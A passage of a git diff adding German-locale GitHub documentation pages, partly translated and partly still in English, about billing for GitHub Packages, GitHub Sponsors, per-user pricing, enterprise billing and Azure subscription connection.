+{% data reusables.dotcom_billing.monthly-spending-limit %}
+{% data reusables.dotcom_billing.update-spending-limit %}
+{% endif %}
+
+## Managing usage and spending limit email notifications
+{% data reusables.billing.email-notifications %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md b/translations/de-DE/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md
new file mode 100644
index 0000000000..8dc2aa166f
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md
@@ -0,0 +1,56 @@
+---
+title: Viewing your GitHub Packages usage
+intro: 'You can view details of your usage of storage and data transfer for {% data variables.product.prodname_registry %}.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-packages-usage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/viewing-your-github-packages-usage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Packages
+  - Organizations
+  - User account
+shortTitle: View your usage
+---
+## Viewing {% data variables.product.prodname_registry %} usage for your personal account
+
+Anyone can view {% data variables.product.prodname_registry %} usage for their own personal account.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.dotcom_billing.packages-data %}
+{% data reusables.dotcom_billing.actions-packages-storage %}
+{% data reusables.dotcom_billing.actions-packages-report-download %}
+
+## Viewing {% data variables.product.prodname_registry %} usage for your organization
+
+Organization owners and billing managers can view {% data variables.product.prodname_registry %} usage for an organization. For organizations managed by an enterprise account, only the organization owners can view {% data variables.product.prodname_registry %} usage in the organization billing page.
+
+{% data reusables.organizations.billing-settings %}
+{% data reusables.dotcom_billing.packages-data %}
+{% data reusables.dotcom_billing.actions-packages-storage %}
+{% data reusables.dotcom_billing.actions-packages-report-download-org-account %}
+
+{% ifversion ghec %}
+## Viewing {% data variables.product.prodname_registry %} usage for your enterprise account
+
+Enterprise owners and billing managers can view {% data variables.product.prodname_registry %} usage for an enterprise account.
+
+{% note %}
+
+**Note:** Billing details for enterprise accounts only summarize the storage data usage per organization. {% data reusables.actions.enterprise-billing-details %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.billing-tab %}
+1. Under "{% data variables.product.prodname_registry %}", view details of usage of data transfer by each organization in your enterprise account.
+  ![Details of usage of data transfer](/assets/images/help/billing/packages-data-enterprise.png)
+{% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %}
+{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %}
+{% endif %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md
new file mode 100644
index 0000000000..006262ccb3
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md
@@ -0,0 +1,33 @@
+---
+title: Informationen zur Abrechnung für GitHub Sponsors
+intro: Deine Sponsorings werden Dir mit dem Rest Deiner kostenpflichtigen Produkte und Funktionen in Rechnung gestellt.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-sponsors
+  - /articles/about-billing-for-github-sponsors
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/about-billing-for-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Sponsors
+shortTitle: About billing
+ms.openlocfilehash: 478b0bc1836cd234ffa32aba4a03b823b0c20663
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085735'
+---
+{% data reusables.sponsors.sponsorship-details %}
+
+{% data reusables.sponsors.no-fees %}
+
+{% data reusables.dotcom_billing.view-all-subscriptions %}
+
+{% data reusables.user-settings.context_switcher %}
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)
+- [Unterstützen von Open-Source-Mitwirkenden](/sponsors/sponsoring-open-source-contributors)
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md
new file mode 100644
index 0000000000..6ec186461e
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md
@@ -0,0 +1,39 @@
+---
+title: Sponsoring herabstufen
+intro: Du kannst ein Sponsoring auf eine niedrigere Stufe herabstufen oder Dein Sponsoring beenden.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship
+  - /articles/downgrading-a-sponsorship
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/downgrading-a-sponsorship
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Cancellation
+  - Downgrades
+  - Sponsors
+ms.openlocfilehash: 5948b9a666ec1cecd4e5640138f278abf787386e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085728'
+---
+{% data reusables.sponsors.org-sponsors-release-phase %} 
+
+## Informationen zu Sponsoring-Downgrades
+
+Wenn du ein Sponsoring herabstufst oder beendest, wird die Änderung zum nächsten Abrechnungsdatum wirksam. {% data reusables.sponsors.no-refunds %}
+
+## Sponsoring herabstufen
+
+{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.review-tiers-to-select %} {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.update-sponsorship %}
+
+## Sponsoring beenden
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.sponsors.billing-switcher %}
+3. Klicke unter „{% data variables.product.prodname_sponsors %}" rechts neben dem unterstützten Open-Source-Mitwirkenden auf {% octicon "triangle-down" aria-label="The down triangle octicon" %} direkt neben dem geleisteten Betrag, und klicke dann auf **Sponsoring beenden**.
+  ![Schaltfläche „Sponsoring beenden“](/assets/images/help/billing/edit-sponsor-billing.png)
+4. Lies die Informationen zum Beenden des Sponsorings, und klicke dann auf **OK**.
+  ![Feld zum Bestätigen der Beendigung](/assets/images/help/billing/confirm-sponsorship-cancellation.png)
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-sponsors/index.md b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/index.md
new file mode 100644
index 0000000000..a000882bc0
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/index.md
@@ -0,0 +1,22 @@
+---
+title: Abrechnung für GitHub-Sponsoren verwalten
+shortTitle: GitHub Sponsors
+intro: Du kannst die Stufe für jedes deiner Sponsorings herauf- oder herabstufen.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors
+  - /articles/managing-billing-for-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-sponsors
+  - /upgrading-a-sponsorship
+  - /downgrading-a-sponsorship
+ms.openlocfilehash: ac0a1f93ca351eaf620adfe9fce87b377427b340
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085727'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md
new file mode 100644
index 0000000000..2d82d2036d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md
@@ -0,0 +1,30 @@
+---
+title: Sponsoring heraufstufen
+intro: Du kannst Dein Sponsoring auf eine höhere Stufe bringen.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship
+  - /articles/upgrading-a-sponsorship
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/upgrading-a-sponsorship
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Sponsors
+  - Upgrades
+ms.openlocfilehash: c1aaab00c5fd11a560327424290c396920505003
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085723'
+---
+{% data reusables.sponsors.org-sponsors-release-phase %} 
+
+## Informationen zu Sponsoringupgrades
+
+Wenn Du Dein Sponsoring heraufstufst, wird die Änderung sofort wirksam. {% data reusables.sponsors.prorated-sponsorship %}
+
+## Sponsoring heraufstufen
+
+{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.review-tiers-to-select %} {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.update-sponsorship %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
new file mode 100644
index 0000000000..acfa18c874
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
@@ -0,0 +1,48 @@
+---
+title: Informationen zur Abrechnung für GitHub-Konten
+intro: '{% data variables.product.company_short %} bietet kostenlose und kostenpflichtige Produkte für Entwickler*innen und Teams.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
+  - /articles/what-is-the-total-cost-of-using-an-organization-account
+  - /articles/what-are-the-costs-of-using-an-organization-account
+  - /articles/what-plan-should-i-choose
+  - /articles/do-you-have-custom-plans
+  - /articles/user-account-billing-plans
+  - /articles/organization-billing-plans
+  - /articles/github-s-billing-plans
+  - /articles/about-billing-for-github-accounts
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-billing-for-github-accounts
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Accounts
+  - Discounts
+  - Fundamentals
+  - Upgrades
+shortTitle: About billing
+ms.openlocfilehash: a17f487d707949885a3cb8f0585feac21708bac1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085720'
+---
+Weitere Informationen zu den Produkten, die für dein Konto verfügbar sind, findest du unter „[{% data variables.product.prodname_dotcom %}'s Produkte](/articles/github-s-products).“ Die Preise und eine vollständige Liste der Funktionen für jedes Produkt findest du unter {% data variables.product.pricing_url %}. {% data variables.product.product_name %} bietet keine benutzerdefinierten Produkte oder Abonnements an.  
+
+Du kannst zwischen einer monatlichen oder jährlichen Abrechnung wählen und dein Abonnement jederzeit herauf- oder herabstufen. Weitere Informationen findest du unter „[Verwalten der Abrechnung für dein {% data variables.product.prodname_dotcom %}-Konto](/articles/managing-billing-for-your-github-account).“
+
+Du kannst andere Funktionen und Produkte mit deinen vorhandenen {% data variables.product.product_name %}-Zahlungsinformationen erwerben. Weitere Informationen findest du unter „[Informationen zur Abrechnung von {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github).“
+
+{% data reusables.accounts.accounts-billed-separately %}
+
+{% data reusables.user-settings.context_switcher %}
+
+{% tip %}
+
+**Tipp:** {% data variables.product.prodname_dotcom %} hat Programme für verifizierte Studenten und Lehrkräfte mit akademischen Ermäßigungen. Für weitere Informationen besuche [{% data variables.product.prodname_education %}](https://education.github.com/).
+
+{% endtip %}
+
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
new file mode 100644
index 0000000000..8193a24ee4
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -0,0 +1,81 @@
+---
+title: About billing for your enterprise
+intro: 'You can view billing information for your enterprise{% ifversion ghec or ghes %} account on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.'
+redirect_from:
+  - /admin/overview/managing-billing-for-your-enterprise
+  - /enterprise/admin/installation/managing-billing-for-github-enterprise
+  - /enterprise/admin/overview/managing-billing-for-github-enterprise
+  - /admin/overview/managing-billing-for-github-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+shortTitle: Billing for your enterprise
+---
+
+## About billing for your enterprise
+
+{% ifversion ghae %}
+
+{% data reusables.github-ae.about-billing %} Once per day, {% data variables.product.prodname_dotcom %} will count the number of users with a license for your enterprise. {% data variables.product.company_short %} bills you for each licensed user regardless of whether the user logged into {% data variables.product.prodname_ghe_managed %} that day.
+
+For commercial regions, the price per user per day is $1.2580645161. For 31-day months, the monthly cost for each user is $39. For months with fewer days, the monthly cost is lower. Each billing month begins at a fixed time on the first day of the calendar month.
+
+If you add a licensed user mid-month, that user will only be included in the count for the days they have a license. When you remove a licensed user, that user will remain in the count until the end of that month. Therefore, if you add a user mid-month and later remove the user in the same month, the user will be included in the count from the day the user was added through the end of the month. There is no additional cost if you re-add a user during the same month the user was removed.
+
+For example, here are the costs for users with licenses on different dates.
+
+User | License dates | Counted days | Cost
+---- | ------------ | ------- | -----
+@octocat | January 1 - January 31 | 31 | $39
+@robocat | February 1 - February 28 | 28 | $35.23
+@devtocat  | January 15 - January 31 | 17 | $21.39
+@doctocat | January 1 - January 15 | 31 | $39
+@prodocat | January 7 - January 15 | 25 | $31.45
+@monalisa | January 1 - January 7,<br>January 15 - January 31 | 31 | $39
+
+{% data variables.product.prodname_ghe_managed %} has a 500-user minimum per instance. {% data variables.product.company_short %} bills you for a minimum of 500 users per instance, even if there are fewer than 500 users with a license that day.
+
+You can see your current usage in your [Azure account portal](https://portal.azure.com).
+
+{% elsif ghec or ghes %}
+
+{% ifversion ghec %}
+
+When you use an enterprise account on {% data variables.location.product_location %}, the enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns.
+
+If you use {% data variables.product.product_name %} with an individual organization and do not yet have an enterprise account, you create an enterprise account and add your organization. For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
+
+{% data variables.product.company_short %} bills monthly for the total number of licensed seats for your enterprise account, as well as any additional services you use with {% data variables.product.prodname_ghe_cloud %}, such as {% data variables.product.prodname_actions %} minutes. If you use a standalone organization on {% data variables.product.product_name %}, you'll be billed at the organization level for all usage. For more information your bill's license seats, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)."
+
+{% elsif ghes %}
+
+Each user on {% data variables.location.product_location %} consumes a seat on your license. {% data variables.product.company_short %} bills monthly for the total number of seats consumed on your license.
+
+{% endif %}
+
+{% ifversion ghec %}For {% data variables.product.prodname_ghe_cloud %} customers with an enterprise account, {% data variables.product.company_short %} bills through your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For invoiced customers, each{% elsif ghes %}For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each{% endif %} invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information about {% ifversion ghes %}licensing, usage, and invoices{% elsif ghec %}usage and invoices{% endif %}, see the following{% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}
+
+{%- ifversion ghes %}
+- "[About per-user pricing](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing)"
+{%- endif %}
+- "[Viewing the subscription and usage for your enterprise account]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)"
+- "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)"
+
+Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise. For more information, see "[Roles in an enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+
+{% ifversion ghec %}
+{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% endif %}
+
+{% ifversion ghes %}
+{% data reusables.billing.ghes-with-no-enterprise-account %}
+{% endif %}
+
+{% endif %}
+## Further reading
+
+- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md
new file mode 100644
index 0000000000..57706ab231
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md
@@ -0,0 +1,155 @@
+---
+title: About per-user pricing
+intro: '{% ifversion fpt or ghec %}For organizations{% ifversion ghec %} and enterprises{% endif %}, your {% else %}Your {% endif %}bill begins with the number of licensed seats you choose.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing
+  - /articles/about-per-user-pricing
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-per-user-pricing
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: overview
+topics:
+  - Downgrades
+  - Enterprise
+  - Licensing
+  - Organizations
+---
+
+## About per-user pricing
+
+{% ifversion fpt %}
+
+New organizations on {% data variables.product.prodname_dotcom_the_website %} can build public and open-source projects with {% data variables.product.prodname_free_team %}, or upgrade to a paid product with per-user pricing. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)."
+
+Organizations using a paid subscription before May 11, 2016 can choose to stay on their existing per-repository plan or switch to per-user pricing. {% data variables.product.company_short %} will notify you twelve months before any mandated change to your subscription. For more information on switching your subscription, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)."
+
+{% else %}
+
+The foundation of your bill is the number of standard licensed seats that you choose for your{% ifversion ghec %} organization or{% endif %} enterprise.
+
+{% data reusables.enterprise-licensing.unique-user-licensing-model %}
+
+To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} environments. For more information, see "[About licenses for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)."
+
+In addition to licensed seats, your bill may include other charges, such as {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
+{% endif %}
+
+## People that consume a license
+
+{% ifversion fpt %}
+
+{% data variables.product.company_short %} bills for the following people:
+
+- Organization members, including owners
+- Outside collaborators on private repositories owned by your organization, excluding forks
+- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks
+- Dormant users
+
+{% note %}
+
+**Notes:** 
+- {% data variables.product.company_short %} counts each outside collaborator once for billing purposes, even if the user account has access to multiple repositories owned by your organization.
+- {% data reusables.organizations.org-invite-scim %}
+
+{% endnote %}
+
+{% data variables.product.company_short %} does not bill for the following people:
+
+- Billing managers
+- Anyone with a pending invitation to become a billing manager
+- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization
+
+{% else %}
+
+{% data variables.product.company_short %} bills for the following accounts for each deployment of {% data variables.product.prodname_enterprise %}.
+
+### Accounts that consume a license on {% data variables.product.prodname_ghe_cloud %}
+
+{% data variables.product.company_short %} bills for each of the following accounts on {% data variables.product.prodname_ghe_cloud %}:
+
+- Enterprise owners who are a member or owner of at least one organization in the enterprise
+- Organization members, including owners
+- Outside collaborators on private or internal repositories owned by your organization, excluding forks
+- Dormant users
+
+If your enterprise does not use {% data variables.product.prodname_emus %}, you will also be billed for each of the following accounts:
+
+- Anyone with a pending invitation to become an organization owner or member
+- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks
+
+{% note %}
+
+**Notes:** 
+  - {% data variables.product.company_short %} counts each member or outside collaborator once for billing purposes, even if the user account has membership in multiple organizations in an enterprise or access to multiple repositories owned by your organization.
+  - {% data reusables.organizations.org-invite-scim %}
+
+{% endnote %}
+
+{% data variables.product.company_short %} does not bill for any of the following accounts:
+
+- {% data variables.enterprise.prodname_managed_users_caps %} that are suspended
+- Enterprise owners who are not a member or owner of at least one organization in the enterprise
+- Enterprise billing managers
+- Billing managers for individual organizations
+- Anyone with a pending invitation to become a billing manager
+- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization
+
+### Accounts that consume a license on {% data variables.product.prodname_ghe_server %}
+
+Each user account on {% data variables.product.prodname_ghe_server %} consumes a seat.
+
+Suspended users are not counted when calculating the number of licensed users consuming seats. For more information, see "[Suspending and unsuspending users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+
+Dormant users do occupy a seat license. As such, you can choose to suspend dormant users to release user licenses. For more information, see "[Managing dormant users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+
+{% endif %}
+
+## About changes to your subscription
+
+{% ifversion fpt %}
+
+You can change your {% data variables.product.prodname_dotcom %} subscription at any time.
+
+### About changes for organizations on per-user plans
+
+{% endif %}
+
+You can add more licensed seats to your {% ifversion fpt or ghec %} organization{% endif %}{% ifversion ghec %} or{% endif %}{% ifversion ghec or ghes %} enterprise{% endif %} at any time. If you pay for more seats than are being used, you can also reduce the number of seats.{% ifversion fpt %} For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" and "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
+
+If you have questions about your subscription, contact {% data variables.contact.contact_support %}.
+
+To further support your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like SAML single sign-on and advanced auditing. {% data reusables.enterprise.link-to-ghec-trial %}
+
+For more information about per-user pricing for {% data variables.product.prodname_ghe_cloud %}, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing).
+
+{% else %}
+
+If you use an enterprise account on {% data variables.product.prodname_dotcom_the_website %} and have questions about changes to your subscription, contact {% data variables.contact.contact_enterprise_sales %}.
+
+{% endif %}
+{% ifversion ghec %}
+
+If you use an individual organization on {% data variables.product.prodname_ghe_cloud %}, you can upgrade or downgrade your subscription. For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" or "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)." If you have questions about your subscription, contact {% data variables.contact.contact_support %}.
+
+{% endif %}
+
+{% ifversion fpt %}
+
+### About changes for organizations on per-repository plans
+
+You can upgrade or downgrade between legacy paid plans in your organization's billing settings. When you upgrade to a plan with more private repositories, {% data variables.product.company_short %} immediately moves your account to your new plan and bills you for the difference in price, prorated for the number of days left in your billing cycle.
+
+When you downgrade to a legacy paid plan with fewer private repositories, your new plan will take effect on your next billing date. If you have more private repositories than your new plan allows for, your private repositories will be locked when your new plan takes effect. To reduce your number of private repositories, you can make some of your private repositories public, or you can clone your private repositories locally and delete the copies on {% data variables.product.prodname_dotcom %}.
+
+{% endif %}
+
+## Further reading
+
+{%- ifversion not fpt %}
+- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)"
+{%- endif %}
+- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
+- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)."
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
new file mode 100644
index 0000000000..143ea84f18
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -0,0 +1,57 @@
+---
+title: Connecting an Azure subscription to your enterprise
+intro: 'You can use your Microsoft Enterprise Agreement to enable and pay for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} usage.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
+  - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/connecting-an-azure-subscription-to-your-enterprise
+versions:
+  ghec: '*'
+shortTitle: Connect an Azure subscription
+---
+## About Azure subscriptions and {% data variables.product.product_name %}
+
+{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions) and "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
+
+{% note %}
+
+**Note:** If your enterprise account is on a Microsoft Enterprise Agreement, connecting an Azure subscription is the only way to use {% data variables.product.prodname_actions %} and {% data variables.product.prodname_registry %} beyond the included amounts, or to use {% data variables.product.prodname_github_codespaces %} at all.
+
+{% endnote %}
+
+After you connect an Azure subscription, you can also manage your spending limits.
+
+- "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)"
+- "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)"
+- "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
+
+## Connecting your Azure subscription to your enterprise account
+
+To connect your Azure subscription, you must have owner permissions to the subscription.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.billing-tab %}
+{% data reusables.enterprise-accounts.payment-information-tab %}
+1. Under "Payment Information", click **Add Azure Subscription**.
+1. To sign in to your Microsoft account, follow the prompts.
+1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**.
+1. Under "Select a subscription", select the Azure Subscription ID that you want to connect to your enterprise.
+
+   {% note %}
+
+   **Note:** {% data variables.product.company_short %}'s Subscription Permission Validation requests read-only access to display the list of available subscriptions. To select an Azure subscription, you must have owner permissions to the subscription. If the default tenant does not have the right permissions, you may need to specify a different tenant ID. For more information, see [Microsoft identity platform and OAuth 2.0 authorization code flow](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow#request-an-authorization-code) in Microsoft Docs.
+
+   {% endnote %}
+1. Click **Connect**.
+
+## Disconnecting your Azure subscription from your enterprise account
+
+After you disconnect your Azure subscription from your enterprise account, your usage can no longer exceed the amounts included with your plan.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.billing-tab %}
+{% data reusables.enterprise-accounts.payment-information-tab %}
+1. Under "Azure subscription", to the right of the subscription ID you want to disconnect, click **{% octicon "trash" aria-label="The trash icon" %}**.
+1. Review the prompt, then click **Remove**.
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
new file mode 100644
index 0000000000..7876a9d95c
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
@@ -0,0 +1,51 @@
+---
+title: Rabattierte Abonnements für GitHub-Konten
+intro: '{% data variables.product.product_name %} bietet Rabatte für Studenten, Lehrer, Bildungseinrichtungen, gemeinnützige Organisationen und Bibliotheken.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
+  - /articles/discounted-personal-accounts
+  - /articles/discounted-organization-accounts
+  - /articles/discounted-billing-plans
+  - /articles/discounted-subscriptions-for-github-accounts
